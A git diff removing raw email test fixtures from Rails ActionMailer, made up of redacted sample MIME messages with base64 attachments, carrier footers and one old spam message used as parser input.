-IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
-IElzc3VpbmcgQ0ECAw5c+TAJBgUrDgMCGgUAoIIBUzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
-MBwGCSqGSIb3DQEJBTEPFw0wNTA1MDgxODE3NDZaMCMGCSqGSIb3DQEJBDEWBBQSkG9j6+hB0pKp
-fV9tCi/iP59sNTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIDDlz5MHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTElMCMG
-A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv
-bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAw5c+TANBgkqhkiG9w0BAQEFAASCAQAm1GeF7dWfMvrW
-8yMPjkhE+R8D1DsiCoWSCp+5gAQm7lcK7V3KrZh5howfpI3TmCZUbbaMxOH+7aKRKpFemxoBY5Q8
-rnCkbpg/++/+MI01T69hF/rgMmrGcrv2fIYy8EaARLG0xUVFSZHSP+NQSYz0TTmh4cAESHMzY3JA
-nHOoUkuPyl8RXrimY1zn0lceMXlweZRouiPGuPNl1hQKw8P+GhOC5oLlM71UtStnrlk3P9gqX5v7
-Tj7Hx057oVfY8FMevjxGwU3EK5TczHezHbWWgTyum9l2ZQbUQsDJxSniD3BM46C1VcbDLPaotAZ0
-fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email3 b/actionmailer/test/fixtures/raw_email3
deleted file mode 100644
index 3a0927490a..0000000000
--- a/actionmailer/test/fixtures/raw_email3
+++ /dev/null
@@ -1,70 +0,0 @@
-From xxxx@xxxx.com Tue May 10 11:28:07 2005
-Return-Path: <xxxx@xxxx.com>
-X-Original-To: xxxx@xxxx.com
-Delivered-To: xxxx@xxxx.com
-Received: from localhost (localhost [127.0.0.1])
- by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
- for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
-Received: from xxx.xxxxx.com ([127.0.0.1])
- by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 70060-03 for <xxxx@xxxx.com>;
- Tue, 10 May 2005 17:26:49 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
- by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
- for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
- by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
- for <xxxx@xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
-Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
- for <xxxx@xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
- s=beta; d=xxxxx.com;
- h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
- b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
-Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
- Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Message-ID: <xxxx@xxxx.com>
-Date: Tue, 10 May 2005 11:26:39 -0600
-From: Test Tester <xxxx@xxxx.com>
-Reply-To: Test Tester <xxxx@xxxx.com>
-To: xxxx@xxxx.com, xxxx@xxxx.com
-Subject: Another PDF
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_2192_32400445.1115745999735"
-X-Virus-Scanned: amavisd-new at textdrive.com
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-Just attaching another PDF, here, to see what the message looks like,
-and to see if I can figure out what is going wrong here.
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: application/pdf; name="broken.pdf"
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="broken.pdf"
-
-JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
-bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
-ycLuTV4/1ifJ9qnq09NpSBimu76yLUuy/qzqcPz7+em3Ixx/CDc6CsXxs3b5+fvfjr/8cPz6/BRu
-rbfAx/n3739/fuJylJ5u5fjX81OuDr4deK4Bz3z/aDP+8fz0yw8g0Ofq7ktr1Mn+u28rvhy/jVeD
-QSa+9YNKHP/pxjvDNfVAx/m3MFz54FhvTbaseaxiDoN2LeMVMw+yA7RbHSCDzxZuaYB2E1Yay7QU
-x89vz0+tyFDKMlAHK5yqLmnjF+c4RjEiQIUeKwblXMe+AsZjN1J5yGQL5DHpDHksurM81rF6PKab
-gK6zAarIDzIiUY23rJsN9iorAE816aIu6lsgAdQFsuhhkHOUFgVjp2GjMqSewITXNQ27jrMeamkg
-1rPI3iLWG2CIaSBB+V1245YVRICGbbpYKHc2USFDl6M09acQVQYhlwIrkBNLISvXhGlF1wi5FHCw
-wxZkoGNJlVeJCEsqKA+3YAV5AMb6KkeaqEJQmFKKQU8T1pRi2ihE1Y4CDrqoYFFXYjJJOatsyzuI
-8SIlykuxKTMibWK8H1PgEvqYgs4GmQSrEjJAalgGirIhik+p4ZQN9E3ETFPAHE1b8pp1l/0Rc1gl
-fQs0ABWvyoZZzU8VnPXwVVcO9BEsyjEJaO6eBoZRyKGlrKoYoOygA8BGIzgwN3RQ15ouigG5idZQ
-fx2U4Db2CqiLO0WHAZoylGiCAqhniNQjFjQPSkmjwfNTgQ6M1Ih+eWo36wFmjIxDJZiGUBiWsAyR
-xX3EekGOizkGI96Ol9zVZTAivikURhRsHh2E3JhWMpSTZCnnonrLhMCodgrNcgo4uyJUJc6qnVss
-nrGd1Ptr0YwisCOYyIbUwVjV4xBUNLbguSO2YHujonAMJkMdSI7bIw91Akq2AUlMUWGFTMAOamjU
-OvZQCxIkY2pCpMFo/IwLdVLHs6nddwTRrgoVbvLU9eB0G4EMndV0TNoxHbt3JBWwK6hhv3iHfDtF
-yokB302IpEBTnWICde4uYc/1khDbSIkQopO6lcqamGBu1OSE3N5IPSsZX00CkSHRiiyx6HQIShsS
-HSVNswdVsaOUSAWq9aYhDtGDaoG5a3lBGkYt/lFlBFt1UqrYnzVtUpUQnLiZeouKgf1KhRBViRRk
-ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
-------=_Part_2192_32400445.1115745999735--
-
diff --git a/actionmailer/test/fixtures/raw_email4 b/actionmailer/test/fixtures/raw_email4
deleted file mode 100644
index 639ad40e49..0000000000
--- a/actionmailer/test/fixtures/raw_email4
+++ /dev/null
@@ -1,59 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
-Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I@xxx.xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx@xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Date: Sun, 8 May 2005 12:30:08 -0500
-From: xxx@xxxx.xxx
-To: xxx@xxxx.xxx
-Message-Id: <7864245.1115573412626.JavaMxxx@xxxx.xxx>
-Subject: Filth
-Mime-Version: 1.0
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
-X-Mms-Priority: 1
-X-Mms-Transaction-Id: 3198421808-0
-X-Mms-Message-Type: 0
-X-Mms-Sender-Visibility: 1
-X-Mms-Read-Reply: 1
-X-Original-To: xxx@xxxx.xxx
-X-Mms-Message-Class: 0
-X-Mms-Delivery-Report: 0
-X-Mms-Mms-Version: 16
-Delivered-To: xxx@xxxx.xxx
-X-Nokia-Ag-Version: 2.0
-
-This is a multi-part message in MIME format.
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
-
-
-
---mimepart_427e4cb4cbd97_133ae40413c8217
-Content-Type: text/plain; charset=utf-8
-Content-Transfer-Encoding: 7bit
-Content-Disposition: inline
-Content-Location: text.txt
-
-Some text
-
---mimepart_427e4cb4cbd97_133ae40413c8217--
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: text/plain; charset=us-ascii
-Content-Transfer-Encoding: 7bit
-
-
---
-This Orange Multi Media Message was sent wirefree from an Orange
-MMS phone. If you would like to reply, please text or phone the
-sender directly by using the phone number listed in the sender's
-address. To learn more about Orange's Multi Media Messaging
-Service, find us on the Web at xxx.xxxx.xxx.uk/mms
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef-
-
diff --git a/actionmailer/test/fixtures/raw_email5 b/actionmailer/test/fixtures/raw_email5
deleted file mode 100644
index bbe31bcdc5..0000000000
--- a/actionmailer/test/fixtures/raw_email5
+++ /dev/null
@@ -1,19 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email6 b/actionmailer/test/fixtures/raw_email6
deleted file mode 100644
index 8e37bd7392..0000000000
--- a/actionmailer/test/fixtures/raw_email6
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=us-ascii
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email7 b/actionmailer/test/fixtures/raw_email7
deleted file mode 100644
index da64ada8a5..0000000000
--- a/actionmailer/test/fixtures/raw_email7
+++ /dev/null
@@ -1,66 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Type: multipart/mixed;
- boundary=Apple-Mail-12-196940926
-
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/x-ruby-script;
- x-unix-mode=0666;
- name="test.rb"
-Content-Disposition: attachment;
- filename=test.rb
-
-puts "testing, testing"
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: base64
-Content-Type: application/pdf;
- x-unix-mode=0666;
- name="test.pdf"
-Content-Disposition: inline;
- filename=test.pdf
-
-YmxhaCBibGFoIGJsYWg=
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
- charset=US-ASCII;
- format=flowed
-
-
-
---Apple-Mail-12-196940926--
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
- name=smime.p7s
-Content-Disposition: attachment;
- filename=smime.p7s
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
diff --git a/actionmailer/test/fixtures/raw_email8 b/actionmailer/test/fixtures/raw_email8
deleted file mode 100644
index 79996365b3..0000000000
--- a/actionmailer/test/fixtures/raw_email8
+++ /dev/null
@@ -1,47 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May 8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Test attachments oddly encoded with japanese charset.
-
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email9 b/actionmailer/test/fixtures/raw_email9
deleted file mode 100644
index 02ea0b05c5..0000000000
--- a/actionmailer/test/fixtures/raw_email9
+++ /dev/null
@@ -1,28 +0,0 @@
-Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
- by xxx.com (CommuniGate Pro SMTP 4.2.8)
- with SMTP id 2532598 for xxx@xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
-Received-SPF: softfail
- receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx@xxx.xxx
-quite Delivered-To: xxx@xxx.xxx
-Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
- id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
-Date: Wed, 23 Feb 2005 18:20:17 -0400
-From: "xxx xxx" <xxx@xxx.xxx>
-Message-ID: <4D6AA7EB.6490534@xxx.xxx>
-To: xxx@xxx.com
-Subject: Stop adware/spyware once and for all.
-X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
-
-You are infected with:
-Ad Ware and Spy Ware
-
-Get your free scan and removal download now,
-before it gets any worse.
-
-http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
-
-
-
-
-no more? (you will still be infected)
-http://xxx.xxx.info/discon/?xxx@xxx.com
diff --git a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a b/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
deleted file mode 100644
index 8a2c25a5dd..0000000000
--- a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
+++ /dev/null
@@ -1,14 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain
-
-A fax has arrived from remote ID ''.=0D=0A-----------------------=
--------------------------------------=0D=0ATime: 3/9/2006 3:50:52=
- PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=
-outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=
-age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A
diff --git a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type b/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
deleted file mode 100644
index a8ff7ed4cb..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
+++ /dev/null
@@ -1,104 +0,0 @@
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
diff --git a/actionmailer/test/fixtures/raw_email_with_nested_attachment b/actionmailer/test/fixtures/raw_email_with_nested_attachment
deleted file mode 100644
index 429c408c5d..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_nested_attachment
+++ /dev/null
@@ -1,100 +0,0 @@
-From jamis@37signals.com Thu Feb 22 11:20:31 2007
-Mime-Version: 1.0 (Apple Message framework v752.3)
-Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B@37signals.com>
-Content-Type: multipart/signed;
- micalg=sha1;
- boundary=Apple-Mail-42-587703407;
- protocol="application/pkcs7-signature"
-To: Jamis Buck <jamis@jamisbuck.org>
-Subject: Testing attachments
-From: Jamis Buck <jamis@37signals.com>
-Date: Thu, 22 Feb 2007 11:20:31 -0700
-
-
---Apple-Mail-42-587703407
-Content-Type: multipart/mixed;
- boundary=Apple-Mail-41-587703287
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
- charset=US-ASCII;
- format=flowed
-
-Here is a test of an attachment via email.
-
-- Jamis
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: base64
-Content-Type: image/png;
- x-unix-mode=0644;
- name=byo-ror-cover.png
-Content-Disposition: inline;
- filename=truncated.png
-
-iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
-AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
-b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
-Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
-dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
-MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
-czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
-ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
-dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
-b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
-YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
-b2RpZnlEYXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9y
-ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
-ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
-ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
-hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
-DjKNnF+3B3t9kObZYmk7AZgWYqO9anpR3wpM9sQ5XslB9a+kWyTtNb0fOmudzGHfPFBQDKesyycm
-DBL7Cw5bXjIEuci+SSOm/LYnXDZu6iuPEj8lYBb+OU8xx1f9m+e5rhJiYKqjo5vHfiZp+VUkW9xc
-Ufd6JHNWc47PkQqb9ie3SLEZB/ZqyAssiqURY+G35iOMZUrHbasHnb80QAPv9FHtAbJIyro7bi5b
-ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
-uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
-Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
-2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
-bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
